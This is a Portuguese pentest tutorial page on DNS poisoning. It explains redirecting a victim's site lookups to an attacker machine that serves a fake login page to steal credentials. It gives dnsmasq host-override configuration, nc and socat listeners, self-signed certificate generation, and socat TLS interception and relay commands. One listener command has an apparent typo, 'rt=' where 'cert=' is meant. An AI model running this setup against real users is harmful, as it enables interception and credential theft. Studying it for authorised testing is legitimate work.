# DNS Poisoning

Esse ataque é bem parecido com o ARP Poisoning, porém este consiste em interceptar o acesso da vítima em alguma página, por exemplo, quando a vítima acessar o site do facebook, irá ser direcionado para a máquina atacante com uma página fake do facebook (por exemplo), para assim poder roubar as credenciais da vítima.

### DnsMasq

#### Configuração

Adicione/descomente a linha `addn-hosts=<file_hosts>` no `/etc/dnsmasq.conf`. O arquivo que colocar em `<file_hosts>`, deverá ter o seguinte padrão (semelhante ao `/etc/hosts`):

```
1.2.3.4 dns.mystherexample.com
```

{% hint style="info" %}
**OBS.:** Caso já esteja utilzando o dnsmasq, pare o serviço com o comando **`service dnsmasq stop`**, faça as devidas alterações citadas e inicie o serviço novamente. Caso queira criar um arquivo de configuração para substituir o **`/etc/dnsmasq.conf`**, crie um arquivo manualmente com suas devidas configurações e então execute: **`dnsmasq -C <custom_file.conf> --no-daemon`**
{% endhint %}

#### Trabalhando com a Porta 80

Depois de realizar essa configuração, podemos subir um simples servidor TCP na porta 80 para capturar o tráfego.

```
nc -lp 80
# Ou
socat TCP4-LISTEN:80,fork,reuseaddr -
```

#### Trabalhando com a Porta 443

Diferente do porta 80, a porta 443 irá precisar de um certificado, então iremos precisar gerar um.

```
FILENAME=server
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```

Agora que temos nosso próprio certificado, podemos utilizar a porta 443 e receber os dados. No exemplo anterior, utilizamos a porta 80 e vimos o `nc` e `socat` como "listener", nesse exemplo iremos usar o socat da seguinte maneira:

```
socat -v -v openssl-listen:443,reuseaddr,fork,rt=server.pem,cafile=server.crt,verify=0 -
```

E é claro, podemos também pegar essa requisição e redirecionar para outro servidor.

```
socat -v -v openssl-listen:443,reuseaddr,fork,cert=server.pem,cafile=server.crt,verify=0  openssl-connect:<server>:<port>,verify=0
```
